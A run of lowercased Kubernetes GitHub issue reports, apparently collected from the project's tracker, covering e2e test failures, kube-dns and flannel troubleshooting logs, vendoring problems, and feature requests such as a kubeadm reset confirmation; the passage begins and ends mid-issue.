refused'\ trying to reach: 'https://bootstrap-e2e-minion-group-0v8s:10250/metrics'\   has prevented the request from succeeding  get nodes bootstrap-e2e-minion-group-0v8s:10250  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/metrics_grabber_test.go:55       previous issues for this test:  27295  35385  36126  37452

the  pkg/serviceaccount  package has helper functions for reading public and private keys from files. there are similar functions in  client-go/util/cert  we should unify on.\r \r missing function in client-go: load an array of public keys from a file or pem blob\r \r different function in client-go: private key loading apparently is not as accepting as the serviceaccount package. attempting to use the client-go package led to this error in ci in https://github.com/kubernetes/kubernetes/pull/40595:\r \r > f0201 13:41:21.719814 5 controllermanager.go:167  error running controllers: error reading key for service account token controller: error reading private key file /etc/srv/kubernetes/server.key: no rsa or ecdsa private key pem block found\r \r need to determine which private keys the serviceaccount version can load that the client-go version cannot

this a bug report     choose one :\r \r   kubernetes version   \r latest master s  of   \r \r   what happened  :\r trying to godep save tools leveraging e2e dependencies causes a version hell, across repos that does not resolve, b/c they are not in sync.  \r \r repos: \r k8s.io/client-go\r k8s.io/apiserver\r k8s.io/apimachinery\r k8s.io/kubernetes \r \r are out of sync.  \r \r   what you expected to happen  :\r  godep save ./...  to simply work.  \r \r   how to reproduce it    as minimally and precisely as possible :\r create a test wrapper similar \r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/e2e_test.go \r \r try to  godep save ./...  will never resolve b/c they are out of date and package dep shuffling issues.  \r \r i've figured out a way to hack around it, but it should really not be this hard.  we've made vendoring any inner part of the code base near impossible for anyone who doesn't know the inner workings.  \r \r /cc @gmarek @kubernetes/sig-api-machinery-misc @deads2k \r \r

i found configmap mount to container use link ../data\r but my app can not use soft link. how to solve this?

env\r    \r centos linux release 7.3.1611  core  \r \r kernel 3.10.0-514.6.1.el7.x86_64\r \r kubernetes 1.7.0\r \r flannel \r \r    \r \r \r    the kubedns metrics:\r    \r kubectl logs kube-dns-1511229508-0wvcq --namespace=kube-system sidecar\r \r error: logging before flag.parse: i0704 10:00:52.216496      32 main.go:48  version v1.14.3-4-gee838f6\r error: logging before flag.parse: i0704 10:00:52.216615      32 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i0704 10:00:52.216684      32 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0704 10:00:52.216786      32 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0704 10:19:41.990419      50 main.go:48  version v1.14.3-4-gee838f6\r error: logging before flag.parse: i0704 10:19:41.990514      50 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i0704 10:19:41.990573      50 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0704 10:19:41.990679      50 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r \r    \r \r    dnsmasq logs:\r \r    \r kubectl logs kube-dns-1511229508-0wvcq --namespace=kube-system dnsmasq\r i0704 10:00:51.786501      19 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local./127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0704 10:00:51.786604      19 nanny.go:86  starting dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local./127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0704 10:00:51.793945      19 nanny.go:111  \r i0704 10:00:51.793953      19 nanny.go:108  dnsmasq 31 : started, version 2.76 cachesize 1000\r w0704 10:00:51.793965      19 nanny.go:112  got eof from stdout\r i0704 10:00:51.793983      19 nanny.go:108  dnsmasq 31 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0704 10:00:51.793992      19 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0704 10:00:51.793999      19 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0704 10:00:51.794005      19 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0704 10:00:51.794014      19 nanny.go:108  dnsmasq 31 : reading /etc/resolv.conf\r i0704 10:00:51.794021      19 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0704 10:00:51.794028      19 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0704 10:00:51.794035      19 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0704 10:00:51.794042      19 nanny.go:108  dnsmasq 31 : using nameserver 114.114.114.114 53\r i0704 10:00:51.794051      19 nanny.go:108  dnsmasq 31 : using nameserver 8.8.8.8 53\r i0704 10:00:51.794058      19 nanny.go:108  dnsmasq 31 : read /etc/hosts - 7 addresses\r \r    \r \r    kubedns logs:\r \r    \r \r kubectl logs kube-dns-1511229508-0wvcq --namespace=kube-system kubedns\r i0704 10:00:51.312265       6 dns.go:48  version: 1.14.3-4-gee838f6\r i0704 10:00:51.313216       6 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i0704 10:00:51.313266       6 server.go:113  flag: --alsologtostderr=\ false\ \r i0704 10:00:51.313276       6 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i0704 10:00:51.313282       6 server.go:113  flag: --config-map=\ \ \r i0704 10:00:51.313287       6 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i0704 10:00:51.313291       6 server.go:113  flag: --config-period=\ 10s\ \r i0704 10:00:51.313297       6 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i0704 10:00:51.313308       6 server.go:113  flag: --dns-port=\ 10053\ \r i0704 10:00:51.313315       6 server.go:113  flag: --domain=\ cluster.local.\ \r i0704 10:00:51.313321       6 server.go:113  flag: --federations=\ \ \r i0704 10:00:51.313326       6 server.go:113  flag: --healthz-port=\ 8081\ \r i0704 10:00:51.313330       6 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i0704 10:00:51.313334       6 server.go:113  flag: --kube-master-url=\ \ \r i0704 10:00:51.313338       6 server.go:113  flag: --kubecfg-file=\ \ \r i0704 10:00:51.313342       6 server.go:113  flag: --log-backtrace-at=\ :0\ \r i0704 10:00:51.313348       6 server.go:113  flag: --log-dir=\ \ \r i0704 10:00:51.313352       6 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i0704 10:00:51.313356       6 server.go:113  flag: --logtostderr=\ true\ \r i0704 10:00:51.313362       6 server.go:113  flag: --nameservers=\ \ \r i0704 10:00:51.313366       6 server.go:113  flag: --stderrthreshold=\ 2\ \r i0704 10:00:51.313369       6 server.go:113  flag: --v=\ 2\ \r i0704 10:00:51.313374       6 server.go:113  flag: --version=\ false\ \r i0704 10:00:51.313385       6 server.go:113  flag: --vmodule=\ \ \r i0704 10:00:51.313453       6 server.go:176  starting skydns server  0.0.0.0:10053 \r i0704 10:00:51.313715       6 server.go:198  skydns metrics enabled  /metrics:10055 \r i0704 10:00:51.313728       6 dns.go:147  starting endpointscontroller\r i0704 10:00:51.313736       6 dns.go:150  starting servicecontroller\r i0704 10:00:51.313913       6 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0704 10:00:51.313930       6 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0704 10:00:51.813927       6 dns.go:171  initialized services and endpoints from apiserver\r i0704 10:00:51.813948       6 server.go:129  setting up healthz handler  /readiness \r i0704 10:00:51.813973       6 server.go:134  setting up cache handler  /cache \r i0704 10:00:51.813984       6 server.go:120  status http port 8081\r \r    \r \r \r    nslookup test\r \r    \r kubectl exec -it curl -- nslookup kubernetes.default\r server:    10.254.0.2\r address 1: 10.254.0.2 kube-dns.kube-system.svc.cluster.local\r \r nslookup: can't resolve 'kubernetes.default'\r \r    \r \r \r    resolv.conf\r \r    \r kubectl exec -it curl -- cat /etc/resolv.conf \r nameserver 10.254.0.2\r search default.svc.cluster.local. svc.cluster.local. cluster.local.\r options ndots:5\r \r    \r \r \r pls  help me ~\r \r

to read a pod manifest file from disk  or from the http source , kubelet execute the following code to \r  1. decode a on-disk v1 pod manifest to an internal pod object  the defaults are applied in this process .\r  2. validate the internal pod.\r  3. convert the internal pod back to a v1 pod. \r https://github.com/kubernetes/kubernetes/blob/64fde98206fcb764958d62a1a4a03c0420d72b45/pkg/kubelet/config/common.go l108-l137\r \r the downstream pod cache  which gets v1 pods from different sources  performs similar operations:\r  1. convert the v1 pod to an internal pod.\r  2. validate the internal pod.\r https://github.com/kubernetes/kubernetes/blob/64fde98206fcb764958d62a1a4a03c0420d72b45/pkg/kubelet/config/config.go l327-l337\r \r one of two conversion/validation should be removed, and some of them should be simplified.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >  \r \r   what happened  :\r when i create a pvc with selector,cann't dynamically create pv!\r ! image  https://user-images.githubusercontent.com/25783555/34598811-e474126c-f229-11e7-989c-a6af9ee19c40.png \r ! image  https://user-images.githubusercontent.com/25783555/34598826-f481424c-f229-11e7-916b-ba090bc5a2cf.png \r \r ! image  https://user-images.githubusercontent.com/25783555/34598758-9d41466c-f229-11e7-9f72-f2eca74d7df0.png \r \r   what you expected to happen  :\r can dynamically create pv with the same selector of pvc\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.6.9\r - cloud provider or hardware configuration:openstack \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   \r \r   what happened  :\r while working on  58061, noticed that following packages are excluded from golint checks:\r \r pkg/scheduler/algorithm\r pkg/scheduler/algorithm/predicates\r pkg/scheduler/algorithm/priorities\r pkg/scheduler/algorithm/priorities/util\r pkg/scheduler/api\r pkg/scheduler/api/latest\r pkg/scheduler/api/v1\r pkg/scheduler/core\r pkg/scheduler/factory\r pkg/scheduler/metrics\r pkg/scheduler/schedulercache\r pkg/scheduler/testing\r pkg/scheduler/util\r \r   what you expected to happen  :\r we need to enable linting for them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc @bsalamat @k82cn

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r   \r   what happened  :\r \r in many occasions we need to know if a service is \ ready\  to accept connections. for that, we need to know at least one of its pods it's ready. calling the   service   api endpoints you don't have this information.\r \r as a workaround we use the   endpoints   api e check its subsets information to find the ready addresses. however in this api we don't have the serviceport info, so we should cross-reference the service api. while using the watch for endpoints, this isn't easy, if, for example, a service change its port. we should watch multiple events, for both service and endpoints, and this isn't too reliable.\r \r   what you expected to happen  :\r \r could be feasible to add a \ serviceport\  information to the   endpoints   resource, or vice-versa, add a ready-address count or status to the  service  resource?\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

page: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/\r \r contains this command:\r    \r kubectl create configmap game-config --from-file=https://k8s.io/docs/tasks/configure-pod-container/configmap/kubectl\r    \r \r however, executing that command results in:\r    \r $ kubectl create configmap game-config --from-file=https://k8s.io/docs/tasks/configure-pod-container/configmap/kubectl\r error: error reading https://k8s.io/docs/tasks/configure-pod-container/configmap/kubectl: no such file or directory\r    \r

is this a bug report or feature request?  :\r   \r   what happened  :\r i have installed kubernetes cluster on 3 nodes  via  kubeadm init  where etcd is running standalone in docker container . everything works fine but before a few days all kubernetes went down. i found out that problem is in flannel. flannel pods won't start and broke kubernetes.\r \r    \r $ kubectl --namespace=kube-system get pod -o wide\r name                                   ready     status              restarts   age       ip            node\r kube-apiserver-vncub0625               1/1       running             3          19h       10.96.22.11   vncub0625\r kube-apiserver-vncub0626               1/1       running             2          19h       10.96.22.14   vncub0626\r kube-controller-manager-vncub0625      1/1       running             10         109d      10.96.22.11   vncub0625\r kube-controller-manager-vncub0626      1/1       running             9          109d      10.96.22.14   vncub0626\r kube-dns-6f4fd4bdf-99kh9               0/3       containercreating   0          1h        <none>        vncub0625\r kube-flannel-ds-297x5                  0/1       crashloopbackoff    27         16h       10.96.22.14   vncub0626\r kube-flannel-ds-wdhg7                  0/1       error               33         16h       10.96.22.11   vncub0625\r kube-proxy-6nbnd                       1/1       running             8          109d      10.96.22.11   vncub0625\r kube-proxy-rlpk2                       1/1       running             7          109d      10.96.22.14   vncub0626\r kube-scheduler-vncub0625               1/1       running             12         109d      10.96.22.11   vncub0625\r kube-scheduler-vncub0626               1/1       running             8          109d      10.96.22.14   vncub0626\r kubernetes-dashboard-7f6988888-nhkss   0/1       error               0          4d        <none>        vncub0626\r rbd-provisioner-788846b794-9ft8w       0/1       error               5          83d       <none>        vncub0626\r tiller-deploy-77f668b986-flwhs         0/1       error               3          90d       <none>        vncub0626\r    \r \r flannel log:\r    \r $ kubectl --namespace=kube-system logs kube-flannel-ds-wdhg7\r i0919 07:00:31.799180       1 main.go:475  determining ip address of default interface\r i0919 07:00:31.799532       1 main.go:488  using interface with name eth0 and address 10.96.22.11\r i0919 07:00:31.799551       1 main.go:505  defaulting external address to interface address  10.96.22.11 \r e0919 07:00:31.813322       1 main.go:232  failed to create subnetmanager: error retrieving pod spec for 'kube-system/kube-flannel-ds-wdhg7': get https://10.6.142.1:443/api/v1/namespaces/kube-system/pods/kube-flannel-ds-wdhg7: dial tcp 10.6.142.1:443: getsockopt: connection refused\r    \r i tried remove/install flannel, stop kubelet and docker and remove docker ni and reboot servers... and nothing helped.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure what is root cause. it happend from one day to anohter. maybe there was some reboot of servers.\r \r   anything else we need to know?  :\r - kubeadm-init\r    \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r kubernetesversion: v1.9.2\r api:\r   advertiseaddress: 10.96.22.11\r   bindport: 6443\r networking:\r   podsubnet: 192.168.0.0/16\r   servicesubnet: 10.6.142.0/24\r apiservercertsans:\r - master01\r - master02\r - master03\r - 10.96.22.11\r - 10.96.22.14\r - 10.96.22.9\r - 172.17.0.1\r etcd:\r   cafile: /appl/kubeadm/etcd/certs/ca.pem\r   certfile: /appl/kubeadm/etcd/certs/client.pem\r   keyfile: /appl/kubeadm/etcd/certs/client.key\r   endpoints:\r   - https://10.96.22.11:2379\r   - https://10.96.22.14:2379\r   - https://10.96.22.9:2379\r    \r \r   environment  :\r - kubernetes version: v1.9.2\r - cloud provider or hardware configuration:  openstack\r - os:ubuntu 16.04.5 lts run on\r - kernel:  linux vncub0625 4.15.0-29-generic  31~16.04.1-ubuntu smp wed jul 18 08:54:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r  \r - install tools: \r   - docker: 18.03.0-ce-dev\r - others: list docker images:\r    \r $ sudo docker images\r repository                                               tag                 image id            created             size\r quay.io/external_storage/rbd-provisioner                 latest              86c42ec9ebb0        2 months ago        404mb                                                                                                                  \r nexus3:18444/k8s/tiller                                  v2.9.1              6253045f26c6        4 months ago        36.1mb\r gcr.io/google_containers/kubernetes-dashboard-amd64      v1.8.3              0c60bcf89900        7 months ago        102mb\r gcr.io/google_containers/etcd-amd64                      3.2.14              f3c015c2d7bb        7 months ago        229mb\r quay.io/coreos/flannel                                   v0.10.0-amd64       f0fad859c909        7 months ago        44.6mb\r nexus3.kb.cz:18444/k8s_infra/etcd                        v3.3                29cd12af0082        7 months ago        39.4mb\r gcr.io/google_containers/kube-proxy-amd64                v1.9.2              e6754bb0a529        8 months ago        109mb\r gcr.io/google_containers/kube-apiserver-amd64            v1.9.2              7109112be2c7        8 months ago        210mb\r gcr.io/google_containers/kube-controller-manager-amd64   v1.9.2              769d889083b6        8 months ago        138mb\r gcr.io/google_containers/kube-scheduler-amd64            v1.9.2              2bf081517538        8 months ago        62.7mb\r gcr.io/google_containers/k8s-dns-sidecar-amd64           1.14.7              db76ee297b85        11 months ago       42mb\r gcr.io/google_containers/k8s-dns-kube-dns-amd64          1.14.7              5d049a8c4eec        11 months ago       50.3mb\r gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64     1.14.7              5feec37454f4        11 months ago       41mb\r gcr.io/google_containers/heapster-influxdb-amd64         v1.3.3              577260d221db        12 months ago       12.5mb\r gcr.io/google_containers/pause-amd64                     3.0                 99e59f495ffa        2 years ago         747kb\r    \r \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r   \r in the the pr https://github.com/kubernetes/kubernetes/pull/72777 we're adding a test case for pulling a windows image from dockerhub    should be able to pull image from docker hub  windowsonly    . it has been suggested that we should also add a test case for   gcr.io  .\r \r however, there are no known public windows images on gcr.io, so the only option would be to upload it ourselves. our proposal is to have it uploaded to the   gcr.io/kubernetes-e2e-test-images   or   gcr.io/google-samples   registries  and   gcr.io/k8s-authenticated-test   if we want to also cover the test case   should be able to pull from private registry with secret   using windows images .\r \r the proposed image manifest list to be uploaded is   e2eteam/busybox:1.29   built from  1 , which is currently hosted on dockerhub  2  and is currently used for testing kubernetes with windows nodes  3 . the manifest list contains the images:\r \r - e2eteam/busybox:1.29-1803  for windows server 1803 \r - e2eteam/busybox:1.29-1809  for windows server 2019 \r \r  1  https://github.com/kubernetes-sigs/windows-testing/blob/master/images/busybox/dockerfile\r  2  https://hub.docker.com/r/e2eteam/busybox\r  3  https://testgrid.k8s.io/sig-windows conformance%20acs-engine%20on%20azure\r \r   why is this needed  :\r \r the gcr.io windows images will be used for the windows equivalent test case for the following test:\r \r -   should be able to pull image from gcr.io

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r  kubeadm reset  should ask for confirmation to prevent accidental reset\r \r   why is this needed  :\r without the confirmation, the command can be easily executed by mistake

hi, i'm just trying to set up a sample application using kubernetes on aws. it's not obvious from the docs how i can get the public ip adress of the newly created service.  could you add that to the tutorial? i've been googling for this quite usual usecase for quite some time without really good results, i think it would really be helpful.

events were working fine for quite some time, but for some reason started causing problems some time ago. tests are moved to using podcondition and are passing, but we may have missed some event-related regression.  i don't know which team or what  should put in this issue. cc @wojtek-t @davidopp @fgrzadkowski

i am seeing this:      error: failed to run kubelet: invalid kubeconfig: stat /etc/kubernetes/kubelet.conf: no such file or directory failed to run kubelet: invalid kubeconfig: stat /etc/kubernetes/kubelet.conf: no such file or directory      the last line is missing a  \  , seems like this would be an easy fix, but i'm not sure why does it even print this error twice? also, this output doesn't have a timestamp prefix - is it intentional to not use the logger for this or it's some kind of limitation or a know issue and affects other components?  this may had been reported already in some form.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-autoscaling/99/  failed:  k8s.io  cluster size autoscaling  slow  should scale up correct target pool  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:243 expected error:     < errors.errorstring | 0xc420bb4040>: {         s: \ timeout waiting 10m0s for cluster size to be 5\ ,     }     timeout waiting 10m0s for cluster size to be 5 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:242       previous issues for this test:  33897

clone of https://github.com/kubernetes/kubernetes/issues/19188 for configmaps\r \r a secret manager was added to the kubelet to reduce duplicate requests for secrets  if a secret was used in multiple volumes, pull secrets, and envvars \r \r the same should be done for configmaps to keep parity between those two objects.\r \r cc @wojtek-t @yujuhong

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws \r -   os    e.g. from /etc/os-release : \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r -   kernel    e.g.  uname -a  :  linux scratch-infra-masters-kubernetes-i-0c92c491d0408e5d6 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r  \r -   install tools  :  kops version 1.5.0-beta1  git-b419f20  \r -   others  :\r \r \r   what happened  :\r i am trying to create federation cluster using following kubefed version in aws. though federation cluster endpoint is created and loadbalancer is exposed i am seeing error messages in different pods. also federation api is not working.\r \r kubefed version: \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r some logs which may help to debug this issue.\r \r    \r  root@ip-10-0-0-197 ec2-user   kubectl logs federation-system-controller-manager-3200228416-69nvt --namespace=federation-system\r i0215 19:54:02.264223       1 controllermanager.go:87  v1.5.2\r i0215 19:54:02.265482       1 controllermanager.go:149  loading client config for cluster controller \ cluster-controller\ \r i0215 19:54:02.266345       1 controllermanager.go:151  running cluster controller\r i0215 19:54:02.266425       1 controllermanager.go:158  loading client config for namespace controller \ namespace-controller\ \r i0215 19:54:02.266612       1 controllermanager.go:161  running namespace controller\r i0215 19:54:02.267498       1 controllermanager.go:185  loading client config for ingress controller \ ingress-controller\ \r i0215 19:54:02.267677       1 controllermanager.go:188  running ingress controller\r i0215 19:54:02.267692       1 ingress_controller.go:354  starting ingress controller\r i0215 19:54:02.267695       1 ingress_controller.go:356  ... starting ingress federated informer\r i0215 19:54:02.267701       1 ingress_controller.go:358  ... starting configmap federated informer\r i0215 19:54:02.267825       1 controllermanager.go:191  loading client config for service controller \ federation-service-controller\ \r i0215 19:54:02.271270       1 controllermanager.go:194  running service controller\r e0215 19:54:32.269065       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.269558       1 clustercontroller.go:117  error monitoring cluster status: get https://federation-system-apiserver/apis/federation/v1beta1/clusters: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.269932       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/namespace/namespace_controller.go:265: failed to list  v1.namespace: get https://federation-system-apiserver/api/v1/namespaces?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.270071       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.270374       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/secret/secret_controller.go:239: failed to list  v1.secret: get https://federation-system-apiserver/api/v1/secrets?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.270530       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.271167       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller.go:169: failed to list  v1.configmap: get https://federation-system-apiserver/api/v1/configmaps?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.273198       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/replicaset/replicasetcontroller.go:280: failed to list  v1beta1.replicaset: get https://federation-system-apiserver/apis/extensions/v1beta1/replicasets?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.273219       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:113: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.273509       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/daemonset/daemonset_controller.go:260: failed to list  v1beta1.daemonset: get https://federation-system-apiserver/apis/extensions/v1beta1/daemonsets?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.273790       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.274143       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.274158       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/util/federated_informer.go:294: failed to list  v1beta1.cluster: get https://federation-system-apiserver/apis/federation/v1beta1/clusters?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.274667       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/ingress/ingress_controller.go:355: failed to list  v1beta1.ingress: get https://federation-system-apiserver/apis/extensions/v1beta1/ingresses?resourceversion=0: dial tcp 100.66.230.44:443: i/o timeout\r e0215 19:54:32.274909       1 reflector.go:199  k8s.io/kubernetes/federation/pkg/federation-controller/deployment/deploymentcontroller.go:277: failed to list  v1beta1.deployment: get https://federation-system-apiserver/apis/extensions/v1beta1/deployments?resourceversion=0: dial tcp 100.66.230.44:443: i/o 